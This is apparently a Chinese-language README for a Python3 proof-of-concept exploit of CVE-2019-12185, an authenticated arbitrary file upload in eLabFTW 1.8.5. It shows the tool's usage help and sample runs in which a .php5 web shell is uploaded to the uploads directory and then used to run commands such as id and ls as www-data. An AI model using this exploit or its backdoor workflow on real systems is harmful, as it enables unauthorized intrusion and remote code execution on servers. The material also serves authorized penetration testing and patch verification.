
CVE-2019-12185 - eLabFTW 1.8.5 Python3 漏洞利用 POC
eLabFTW 1.8.5 容易通过 /app/controllers/EntityController.php 组件遭受任意文件上传漏洞攻击。这可能导致远程命令执行。攻击者可以使用一个用户帐户,通过 POST 请求完全攻陷系统。这将允许 PHP 文件写入 Web 根目录,并在远程服务器上执行代码。→ https://nvd.nist.gov/vuln/detail/CVE-2019-12185
$ python3 CVE-2019-12185.py --help
usage: CVE-2019-12185.py [-h] [--shell SHELL] [-e EMAIL] [-P PASSWORD] [-u URL] [--port PORT] [--no-verify] [--silence-warnings]
eLabFTW 1.8.5 任意文件上传 / RCE (Python3)。使用 --shell 启动一个非交互式 shell,或提供登录凭据上传一个新的 shell。
options:
-h, --help 显示此帮助信息并退出
--shell SHELL 已存在的 .php5 后门的完整 URL(位于 /uploads/ 下,例如 https://host/uploads/..../abc.php5)
-e, --email EMAIL 登录邮箱
-P, --password PASSWORD
登录密码
-u, --url URL 基础 URL(例如 https://192.168.1.10)
--port PORT 端口覆盖(https 默认为 443,http 默认为 80)
--no-verify 禁用 TLS 证书验证
--silence-warnings 静默 urllib3 的 InsecureRequestWarning(仅与 --no-verify 同时使用有效)
$ python3 CVE-2019-12185.py -e [email protected] -P password -u https://192.168.116.235 --no-verify --silence-warnings
[INFO] Disabled warnings about insecure https certifications.
[INFO] Loaded URL: 'https://192.168.116.235'
[INFO] Attempting to grab a form token from elabftw...
[INFO] Attempting to login with the provided credentials and form token...
[INFO] Succesfully sent payload to target!
[INFO] Check for a shell: https://192.168.116.235/uploads/
[INFO] Example RCE: https://192.168.116.235/uploads/82/82b757007585fa963c82b09.php5?e=whoami
后门位于 elabftw 的上传目录中。

$ python3 CVE-2019-12185.py --shell "https://192.168.116.235/uploads/4c/4cc58d211b453aa9b21b00b77284295de18300693f5755ea1f41b331a2d04384b9524bc87179601e55fdf5279dc945681ea1948ed6ac30c6ef4899db8c3a051a.php5" --no-verify --silence-warnings
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ ls -las
total 12
4 drwxr-xr-x 2 www-data www-data 4096 Aug 16 23:14 .
4 drwxr-xr-x 4 www-data www-data 4096 Aug 16 23:14 ..
4 -rw------- 1 www-data www-data 45 Aug 16 23:14 4cc58d211b453aa9b21b00b77284295de18300693f5755ea1f41b331a2d04384b9524bc87179601e55fdf5279dc945681ea1948ed6ac30c6ef4899db8c3a051a.php5
$